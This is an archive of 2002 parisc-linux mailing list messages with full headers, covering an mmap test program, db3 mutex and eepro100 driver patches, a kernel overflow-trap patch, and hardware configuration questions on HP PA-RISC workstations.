X-Trace: ger.gmane.org 1416621622 12355 80.91.229.3 (22 Nov 2014 02:00:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:22 +0000 (UTC)
To: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 15 15:50:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 722FD4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Aug 2002 15:50:49 -0600 (MDT)
Original-Received: from [192.168.95.4] (p5080D804.dip.t-dialin.net [80.128.216.4])
	by mail.scram.de (8.11.6+3.4W/8.11.0) with ESMTP id g7FLokB23502
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Aug 2002 23:50:47 +0200 (CEST)
X-X-Sender: jochen@gfrw1044.bocc.de
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15823

Hi,

i recognized that mmap operations seem unreliable on HP720 platform. The 
following test program (taken from cyrus imap configure) demonstrates the 
problem:

#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>

main()
{
  char *base;
  int fd = open("testmmap", O_RDWR|O_CREAT|O_TRUNC, 0666);

  if (fd == -1)
  {
    printf("can't open testmmap\n");
    exit(1);
  }
  if (write(fd, "test", 4) != 4)
  {
    printf("can't write testmmap\n");
    exit(1);
  }
  fsync(fd);
  base = mmap((caddr_t)0, 100, PROT_READ, MAP_SHARED
#ifdef MAP_FILE
  | MAP_FILE
#endif
#ifdef MAP_VARIABLE
  | MAP_VARIABLE
#endif
  , fd, 0L);

  if (base == (caddr_t)-1)
  {
    printf("can't mmap testmmap\n");
    exit(1);
  }
  if (strncmp(base, "test", 4) != 0)
  {
    printf("memory not test\n");
    exit(1);
  }
  if (write(fd, "test", 4) != 4) 
  {
    printf("can't append testmmap\n");
    exit(1);
  }
  fsync(fd);
  if (strncmp(base+4, "test", 4) != 0)
  {
    printf("memory not testtest: %s\n", base);
    exit(1);
  }
  exit(0);
}

# ./testmmap
memory not testtest: test
# ./testmmap
# ./testmmap
# ./testmmap
# ./testmmap
# ./testmmap
# ./testmmap
# ./testmmap
# ./testmmap
# ./testmmap
# ./testmmap
memory not testtest: testtest

This only seems to happen on 720 (i couldn't replicate the bug on a 715 
with the same kernel booted up). Things seem to get worse if the load on 
the box rises (if the test is done on an idle machine, testmmap works 
without problems). Weird...

This is 2.4.19-pa3.

Cheers,
--jochen



From - Thu Nov 08 21:24:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] db3 patch for Linux/HPPA
Date: Fri, 16 Aug 2002 07:54:04 +0200 (CEST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0208160747470.18884-100000@gfrw1044.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621623 12360 80.91.229.3 (22 Nov 2014 02:00:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:23 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 15 23:55:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 526F14829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Aug 2002 23:55:34 -0600 (MDT)
Original-Received: from [192.168.95.4] (pD9E27C11.dip.t-dialin.net [217.226.124.17])
	by mail.scram.de (8.11.6+3.4W/8.11.0) with ESMTP id g7G5tSB26406;
	Fri, 16 Aug 2002 07:55:29 +0200 (CEST)
X-X-Sender: jochen@gfrw1044.bocc.de
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15824

Hi Matthew,

this fixes a problem with db3 mutexes. Problem is in 
__db_tas_mutex_init(). If MUTEX_INIT returns non-zero value, mutexp->spins 
doesn't get initialized and later __db_tas_mutex_lock loops without ever 
trying to aquire the lock (as spins is zero).

diff -urN db-3.2.9/include/mutex.h db-3.2.9.new/include/mutex.h
--- db-3.2.9/include/mutex.h    Sun Jun 23 16:34:28 2002
+++ db-3.2.9.new/include/mutex.h        Sun Jun 23 16:33:38 2002
@@ -413,7 +413,7 @@
        __r & 1;                                                        \
 })

-#define        MUTEX_UNSET(tsl)        (*(tsl) = -1)
+#define        MUTEX_UNSET(tsl)        (!(*(tsl) = -1))
 #define        MUTEX_INIT(tsl)         MUTEX_UNSET(tsl)
 #endif
 #endif

Cheers,
--jochen



From - Thu Nov 08 21:24:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nikolay Semenov <nsem@cce.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 10-pin modular jack on 75/100 and a mouse in X
Date: Fri, 16 Aug 2002 10:18:07 +0400
Lines: 16
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20020816100459.00a76008@mail.cce.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621623 12363 80.91.229.3 (22 Nov 2014 02:00:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 16 00:18:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cce.ru (sr1.cce.ru [80.79.64.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id D67CF4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Aug 2002 00:18:00 -0600 (MDT)
Original-Received: from [80.79.64.37] (account nsem HELO kahuna.cce.ru)
  by cce.ru (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 277742 for parisc-linux@lists.parisc-linux.org; Fri, 16 Aug 2002 10:18:06 +0400
X-Sender: nsem@cce.ru@mail.cce.ru
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15825

Hi there,

I've install Woody on 75/100 workstation with 10-pin modular jack for 
keyboard and mouse connection and cannot get the mouse working in X.
Can someone tell me how to configure X to get it working?

  (i) if I try /dev/input/mice -- device cannot be open.
  (ii) if I try /dev/psaux -- device be opened but the mouse not working.

Keyboard is working all the time.

Thanks in advance,

Nikolay 



From - Thu Nov 08 21:24:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Voodoo3 PCI on C200 experiment pending!
Date: Sat, 17 Aug 2002 04:07:12 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <3D5E0430.2000407@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621623 12366 80.91.229.3 (22 Nov 2014 02:00:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 17 02:06:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx14.cluster1.charter.net (dc-mx14.cluster1.charter.net [209.225.8.24])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8D934829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Aug 2002 02:06:26 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx14.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 81675524 for parisc-linux@lists.parisc-linux.org; Sat, 17 Aug 2002 04:08:04 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15826

I just scarfed up a somewhat used Voodoo3 PCI graphics
card from Ebay and intend to try it out with Debian/HPPA
and a custom built kernel.

I hope to compile a tdfx.o drm module and get the card
recognized via a PALO boot command. I will use a dumb
terminal for the system console during initial booting.

Any hints or tips would be appreciated :-)



From - Thu Nov 08 21:24:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo3 PCI on C200 experiment pending!
Date: Sat, 17 Aug 2002 11:37:09 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <20020817153709.GD16532@systemhalted>
References: <3D5E0430.2000407@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621624 12369 80.91.229.3 (22 Nov 2014 02:00:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 17 09:38:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id D90E34829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Aug 2002 09:38:54 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17g5dV-0005lM-00; Sat, 17 Aug 2002 11:37:09 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	"B. Douglas Hilton" <bdhilton@charter.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3D5E0430.2000407@charter.net>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (2% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15827

> I just scarfed up a somewhat used Voodoo3 PCI graphics
> card from Ebay and intend to try it out with Debian/HPPA
> and a custom built kernel.
> 
> I hope to compile a tdfx.o drm module and get the card
> recognized via a PALO boot command. I will use a dumb
> terminal for the system console during initial booting.
> 
> Any hints or tips would be appreciated :-)
> 

Stop trying to use the card as your console :)

Stick with a serial console for startup and then launch X
from that console.

It's my dream to get a Radeon 7000 PCI running on a C3K, 
but that will have to wait until September. I'm very interested
in this test... since I'm a burgeoning DRI/DRM developer :)

If you have any problems please post to:

dri-devel@lists.sourceforge.net 

or visit

#dri-devel on irc.openprojects.net

Good luck!

c.


From - Thu Nov 08 21:24:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on C200 machine.
Date: Sat, 17 Aug 2002 16:32:22 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <3D5EB2D6.9090403@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621624 12372 80.91.229.3 (22 Nov 2014 02:00:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 17 14:31:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx14.cluster1.charter.net (dc-mx14.cluster1.charter.net [209.225.8.24])
	by dsl2.external.hp.com (Postfix) with ESMTP id D09C54829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Aug 2002 14:31:30 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx14.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 81853646 for parisc-linux@lists.parisc-linux.org; Sat, 17 Aug 2002 16:33:14 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15828

Hello list. For some reason my onboard LAN devices
all mysteriously died and disappeared from the
firmware, so I purchased an eepro100 card to try
and get some networking connectivity back.

When I modprobe eepro100 it seems to be ok. I can
do an 'ifup -a' and then ifconfig lists my eth0
and it appears to be configured properly. I can
ping other servers in my LAN, and I can do an
ftp login, but as soon a I type "ls" it goes out
to lunch and locks up.

Likewise I can ping numeric ip's on the internet,
but name resolution is not working.

Could this be an endianness problem? Any ideas?

Any tips on how to reactivate the onboard ether
devices would be greatly appreciated too.




From - Thu Nov 08 21:24:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] subo -> overflow_trap (12) -> What to do?
Date: Sat, 17 Aug 2002 18:05:45 -0400
Lines: 54
Approved: news@gmane.org
Message-ID: <20020817220545.GF16532@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="pWyiEgJYm5f9v55/"
X-Trace: ger.gmane.org 1416621624 12374 80.91.229.3 (22 Nov 2014 02:00:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:24 +0000 (UTC)
Cc: csr21@cam.ac.uk
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 17 16:07:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 821BC4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Aug 2002 16:07:30 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17gBha-0006W5-00; Sat, 17 Aug 2002 18:05:46 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org, csr21@cam.ac.uk
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (2% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15829

--pWyiEgJYm5f9v55/
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

pa,

Talking with Christophe Rhodes who is porting some Common Lisp code[1]
to parisc-linux and he has some old-ish code from HPUX (circa 1994)
that does some interesting things :)

The code does a 'subo' and it _does_ cause an overflow_trap (12) which is
currently unhandled in our traps.c ... this trickles into a SIGBUS, which
is questionable (as the comment notes).

In HPUX the code sets si_code to FPE_INTOVF as well as sending a SIGFPE
to the offending application. From there the handler does all the 'bignum'
cleanup and Lisp land is all happy.

So I've gone ahead and implemented this functionality into traps.c, but
I'm not sure if this is the right way to go. What do people think?
If any HPUX people would like to chime in? :)

Patch attached.

c.

[1] Package is 'sbcl'


--pWyiEgJYm5f9v55/
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="kernel-parisc-trap.c.diff"

--- linux/arch/parisc/kernel/traps.c.orig       2002-08-17 17:37:26.000000000 -0400
+++ linux/arch/parisc/kernel/traps.c    2002-08-17 17:58:39.000000000 -0400
@@ -561,6 +561,14 @@
                force_sig_info(SIGILL, &si, current);
                return;

+       case 12:
+               /* Overflow Trap, let the userland signal handler do the cleanup */
+               si.si_signo = SIGFPE;
+               si.si_code = FPE_INTOVF;
+               si.si_addr = (void *) regs->iaoq[0];
+               force_sig_info(SIGFPE, &si, current);
+               return;
+
        case 14:
                /* Assist Exception Trap, i.e. floating point exception. */
                die_if_kernel("Floating point exception", regs, 0); /* quiet */


--pWyiEgJYm5f9v55/--


From - Thu Nov 08 21:24:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on C200 machine.
Date: Sun, 18 Aug 2002 00:37:15 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <20020817223713.GA25852@gate450.dyndns.org>
References: <3D5EB2D6.9090403@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="AqsLC8rIMeq19msA"
X-Trace: ger.gmane.org 1416621625 12381 80.91.229.3 (22 Nov 2014 02:00:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, saw@saw.sw.com.sg
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 17 16:37:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hptux.heylan (pD955D0F8.dip.t-dialin.net [217.85.208.248])
	by dsl2.external.hp.com (Postfix) with ESMTP id 03ECD4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Aug 2002 16:37:27 -0600 (MDT)
Original-Received: from andreas by hptux.heylan with local (Exim 3.35 #1 (Debian))
	id 17gCC4-0008DQ-00; Sun, 18 Aug 2002 00:37:16 +0200
Mail-Followup-To: "B. Douglas Hilton" <bdhilton@charter.net>,
	parisc-linux@lists.parisc-linux.org, saw@saw.sw.com.sg
Content-Disposition: inline
In-Reply-To: <3D5EB2D6.9090403@charter.net>
User-Agent: Mutt/1.4i
X-PGP-Key: http://gate450.dyndns.org/~andreas/gpg_public_key.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15830

--AqsLC8rIMeq19msA
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi,

just append " || defined(__hppa__)" to line 47 of drivers/net/eepro100.c
I got mine working that way.

Regards,
andreas

* B. Douglas Hilton <bdhilton@charter.net> [2002-08-17 22:32]:
> Hello list. For some reason my onboard LAN devices
> all mysteriously died and disappeared from the
> firmware, so I purchased an eepro100 card to try
> and get some networking connectivity back.
> 
> When I modprobe eepro100 it seems to be ok. I can
> do an 'ifup -a' and then ifconfig lists my eth0
> and it appears to be configured properly. I can
> ping other servers in my LAN, and I can do an
> ftp login, but as soon a I type "ls" it goes out
> to lunch and locks up.
> 
> Likewise I can ping numeric ip's on the internet,
> but name resolution is not working.
> 
> Could this be an endianness problem? Any ideas?
> 
> Any tips on how to reactivate the onboard ether
> devices would be greatly appreciated too.

--AqsLC8rIMeq19msA
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=diff

--- linux/drivers/net/eepro100.c	Mon Aug  5 02:12:20 2002
+++ linux/drivers/net/eepro100.c	Sun Aug 18 00:15:55 2002
@@ -44,7 +44,7 @@
 /* Set the copy breakpoint for the copy-only-tiny-buffer Rx method.
    Lower values use more memory, but are faster. */
 #if defined(__alpha__) || defined(__sparc__) || defined(__mips__) || \
-    defined(__arm__)
+    defined(__arm__) || defined(__hppa__)
 static int rx_copybreak = 1518;
 #else
 static int rx_copybreak = 200;

--AqsLC8rIMeq19msA--


From - Thu Nov 08 21:24:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on C200
 machine.
Date: Sat, 17 Aug 2002 22:01:27 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <3D5EFFF7.30008@charter.net>
References: <3D5EB2D6.9090403@charter.net> <20020817223713.GA25852@gate450.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621625 12386 80.91.229.3 (22 Nov 2014 02:00:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 17 20:00:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx05.cluster1.charter.net (dc-mx05.cluster1.charter.net [209.225.8.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57B714829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Aug 2002 20:00:41 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by mx05.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 45771496; Sat, 17 Aug 2002 22:00:44 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
